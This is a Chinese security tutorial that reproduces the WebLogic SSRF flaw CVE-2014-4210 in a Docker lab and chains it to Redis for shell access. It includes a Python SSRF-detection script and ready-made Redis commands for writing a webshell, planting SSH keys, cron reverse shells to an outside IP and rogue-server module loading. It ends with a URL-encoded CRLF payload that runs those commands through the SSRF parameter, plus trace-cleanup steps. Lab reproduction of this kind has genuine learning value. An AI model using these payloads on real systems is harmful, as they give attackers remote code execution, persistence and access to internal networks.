1. 程式人生 > 實用技巧 >weblogic從ssrf到redis獲取shell

weblogic從ssrf到redis獲取shell

目錄

前言

一、環境搭建和知識儲備

1.1、影響版本

CVE-2014-4210

weblogic 10.0.2.0
weblogic 10.3.6.0

1.2、Docker搭建環境

1.進入vulhub/fastjson,啟動docker即可

cd /root/vulhub/weblogic/ssrf
docker-compose up -d

2.檢視啟動的docker程序

docker ps

二、漏洞復現

2.1、weblogic的SSRF漏洞

1.漏洞存在於weblogic目錄下的/uddiexplorer/SearchPublicRegistries.jsp檔案。當我們訪問這個檔案,就會獲得對應應用的頁面

2.漏洞點在於該檔案的一個引數operator,我們通過如下的url去訪問

http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

伺服器返回

returned a 404 error code

然後我們訪問一個不存在的埠,比如9562

它就會返回

but could not connect over HTTP to server

在這之後,我們通過該引數訪問一個內網存在的redis服務

它返回的資訊為

which did not have a valid SOAP

通過以上請求和回顯我們知道,針對不同地址和埠的探測,服務端存在著不同的回顯,尤其是針對本機存在埠和不存在埠,展現出了兩種形式。針對內網其他主機存在的服務,服務端也給出了有意義的回顯,那麼此處可證其存在ssrf漏洞。

2.2、weblogic的SSRF回顯型別

我們已經知道,weblogic存在著SSRF。那麼如何利用這個SSRF判斷內網的存活ip和埠呢,這就需要我們通過不同的返回情況進行判斷,從而決定該埠或ip是否存活,在這之前,我們需要了解這個ssrf返回值的情況。

1)存活ip:http://127.0.0.1:7001
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

不存活ip:探測由於tcp的等待,會有一定延時
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '192.168.25.1', port: '7001'


2)探測存活埠和不存活埠,使用可使用的協議和ip
存活埠:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.
不存活埠:
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'

3)探測可用協議和不可用協議,使用可使用的ip和埠
可用協議:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

不可用協議:
weblogic.uddi.client.structures.exception.XML_SoapException: unknown protocol: ssr

可用協議但協議和埠不匹配:
java.lang.ClassCastException: sun.net.www.protocol.ftp.FtpURLConnection cannot be cast to java.net.HttpURLConnection

不寫協議:
weblogic.uddi.client.structures.exception.XML_SoapException: no protocol: 192.168.0.1

從上面不同的返回值可以看出,不存活ip和不存活埠兩者的返回值相同,那麼我們很難用簡單的方式去探測內網存活主機和埠。只能考慮最暴力的方式,就是用http://ip:port的形式去爆破嘗試,直到返回值區別於這二者不存活的形式,假如我們掃描1000個常用埠和一個c段ip,就是需要254*1000次請求,這樣在內網大流量的掃描是很難實現的,只能在無可奈何或者有其他輔助的情況下進行。
因此這一部分針對內網存活ip和埠的探測暫且如此,如果有不同的思路歡迎探討。

2.3、weblogic-SSRF漏洞判斷POC

1)、poc的構造思路很簡單,我們只需要針對目標機的埠發起不同的請求,根據返回值判斷與上述返回值是否相同,即可判斷出是否存在ssrf。流程如下:

2)、poc:

import re,requests
import threading,random
from optparse import OptionParser

class Test(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def visit(self,weblogic_domain,weblogic_port):
        headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36"}
        payload = "/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:{weblogic_port}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(weblogic_port=weblogic_port)
        url = weblogic_domain.rstrip("/") + payload
        try:
            print(url)
            visitResult = requests.get(url=url,verify=False,headers=headers,timeout=5).text
            return visitResult
        except:
            exit("we can't visit your domain")
            pass
    def check(self,weblogic_domain,weblogic_port):
        temp = 0
        print("[+]Checking the open port "+weblogic_port)
        portOpenResult = re.findall(r"returned a 404 error code", self.visit(weblogic_domain,weblogic_port), re.DOTALL)
        if portOpenResult:
            temp = 1
        print("[+]Checking the open port finished")
        #隨機3個埠
        notOpenPort = [str(int(weblogic_port)+random.randint(10000,20000)),str(int(weblogic_port)+random.randint(10000,20000)),str(int(weblogic_port)+random.randint(10000,20000))]
        for line in notOpenPort:
            print("[+]Checking the not open port " + line)
            portOpenResult = re.findall(r"but could not connect over HTTP to server|returned a 404 error code", self.visit(weblogic_domain,line), re.DOTALL)
            print(portOpenResult)
            if portOpenResult:
                temp = 1
            else:
                temp = 0
        print("[+]Checking the not open port finished")
        #經過了兩次檢測,若是都完成,則認為存在ssrf漏洞
        if temp == 1:
            return weblogic_domain + " has ssrf"
        else:
            return weblogic_domain + " has not exist ssrf"
def ParseArgs():
    parser = OptionParser("usage: python weblogic-ssrf.py -u http://test.com:9000")
    parser.add_option("-u", dest="url", type="string",help="Specify the target url")
    options,args = parser.parse_args()
    if options.url ==None:
        print(parser.usage)
        exit(0)
    return options,args

if __name__ == "__main__":
    options, args = ParseArgs()
    port = str(options.url).split(":")[-1].strip("/")
    t = Test()
    print(t.check(str(options.url),port))

3)、使用示例

D:\pycharm\pro1_spider\test>python37 test1.py -u http://192.168.52.130:7001
[+]Checking the open port 7001
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
[+]Checking the open port finished
[+]Checking the not open port 19598
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:19598&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port 19337
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:19337&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port 17810
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:17810&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port finished
http://192.168.52.130:7001 has ssrf

三、漏洞利用

3.1、利用redis獲取shell

3.1.1、redis寫入webshell

1)、利用前提
這種方式寫入shell的前提是redis伺服器和web伺服器在同一臺主機,且上傳的webshell能被解析。然而redis伺服器和web伺服器在同一臺主機上的情況會比較少。
比如常見的就是php一句話和jsp的小馬(等同於一句話),這二者的特點就是web容器即便解析不了其它的字元,也能解析其中的程式碼。比如xxxxaaaaa這個樣子。
那麼我需要提及的是jsp字元有點多,在寫入時總會出現亂碼,就沒有做深入探究。
2)、寫入webshell
連線redis資料庫

redis-cli -h 172.21.0.2

檢視資料庫個數

config get databases

選擇適合的資料庫作為寫入備份的那個,最好為空

select 1  \\選擇
dbsize \\檢視其中的資料數量

寫入的payload

config set dir /var/www/html
config set dbfilename shell.php
save

最後就會在/var/www/html目錄下看到shell.php,我這裡由於沒有這個目錄,寫在了其它目錄,其它情況需要自行更改。

3.1.2、寫入ssh免密登入

1)、利用條件
這個方法比較實用,僅需redis服務以root許可權執行,且存在/root/.ssh/即可。一般很多服務由於配置麻煩的原因,管理員通常會選擇root使用者去配置,尤其是redis這種便捷式的。而/root/.ssh/目錄只要存在ssh服務的機器就會有。
2)、攻擊機生成公私鑰

ssh-keygen -t rsa

沒有指定目錄的話生成在.ssh目錄下
3)、寫入公鑰檔案至redis資料庫

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -p 6380  -x set x

-x是從stdin中讀取資料,加上set 1是將資料放入redis的key,x
4)、redis資料庫寫入authorized_key至.ssh目錄下

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

5)、直接用ssh登入即可
我們可以看到不存在authorized_keys時登入是這樣的

寫入authorized_keys後就直接登入

3.1.3、計劃任務反彈shell

1)、利用條件
利用計劃任務反彈shell在centos上可以完美執行,debian、ubuntu等環境中由於這些環境對計劃任務的格式解析非常嚴格所以是沒辦法執行成功。

/etc/crontab,髒資料解析失敗
/var/spool/cron/crontabs/root,redis預設寫入644非600,提示失敗

這裡提供一個檢視linux發行版的方法作為備用

ls /etc/*release

2)、反彈shell
原理是利用了redis的備份寫入了計劃任務

set x "\n*/1 * * * * bash -i >& /dev/tcp/11.11.11.11/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

要注意計劃任務的寫法,上述的寫法是每隔1分鐘就反彈一次,所以獲取shell後要注意清除。
反彈回來的shell如圖:

3.1.4、Redis主從複製getshell

1)、前言
這一部分需要的前置知識會相對複雜一點,由於主要還是weblogic漏洞的復現,就不再拓展了,我將別人的復現流程搬了過來。這個方式針對的是4.x-5.x版本的redis,獲取的是redis許可權。參照淺析Linux下Redis的攻擊面(一)
2)、主從複製getshell
主從複製的exp
[1]、外網vps+redis在外網環境下使用命令:

python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088

[2]、redis內網,但可以反彈shell出來的環境下,服務端執行

python3 redis-rogue-server.py --server-only

登入redis執行如下命令

config set dir ./
config set dbfilename exp.so
slaveof X.X.X.195
slaveof X.X.X.195 21000  #上面看繫結的服務段埠是21000
module load ./exp.so
slaveof no one
system.exec 'whoami'

清理痕跡
config set dbfilename dump.rdb
system.exec 'rm ./exp.so'
module unload system

3.2、從ssrf到redis獲取shell

3.2.1、weblogic-ssrf的CRLF注入

[1]、要利用這個ssrf獲取shell,我們首先要了解weblogic對於\r\n的處理,weblogic中的ssrf可以通過%0d%0a來注入換行符,這也是我們常說的CRLF攻擊,我們可以測試一下。
首先準備如下的redis命令,也可以是其它

test

set 1 "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/11.11.11.11/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

HTTP/1.1

我們對其url編碼,並且在需要換行的地方加入%0d%0a,payload如下

test%0d%0a%0d%0aset+1+%22%5cn%5cn%5cn%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f11.11.11.11%2f9999+0%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig+set+dir+%2fetc%2f%0d%0aconfig+set+dbfilename+crontab%0d%0asave%0d%0a%0d%0aHTTP%2f%1%2e1

[2]、在weblogic的ssrf漏洞探測的內網服務redis伺服器上利用nc監聽一個9999埠測試,傳送payload

[3]、在監聽埠即可收到如下被注入的請求

可以看到,HTTP的header頭被該改變了,原本屬於header頭的內容變成了傳送的資料。那麼只要redis服務能夠將我們注入的redis命令獲取並解析,就相當於利用了ssrf執行redis命令,再利用我們上文提到的計劃任務即可getshell。

3.2.2、利用ssrf漏洞getshell

關於redis如何理解http協議,並能夠處理其資料,這個需要理解redis的底層,此處不做探究,僅僅需要知道redis可以理解3.2.1中第3節的圖片中的資料包型別並能夠執行就足夠了,我們利用這一點getshell。
payload,這個payload是operator的引數

http://172.21.0.2:6379/test%0d%0a%0d%0aset+x+%22%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f11.11.11.11%2f9999+0%3e%261%5cn%22%0d%0aconfig+set+dir+%2fvar%2fspool%2fcron%2f%0d%0aconfig+set+dbfilename+root%0d%0asave%0d%0a%0d%0aHTTP%2f1%2e1

傳送資料包如圖

結果如圖

參考:
https://xz.aliyun.com/t/7974#toc-1
https://www.jianshu.com/p/97b157a20108
https://vulhub.org/#/environments/weblogic/ssrf/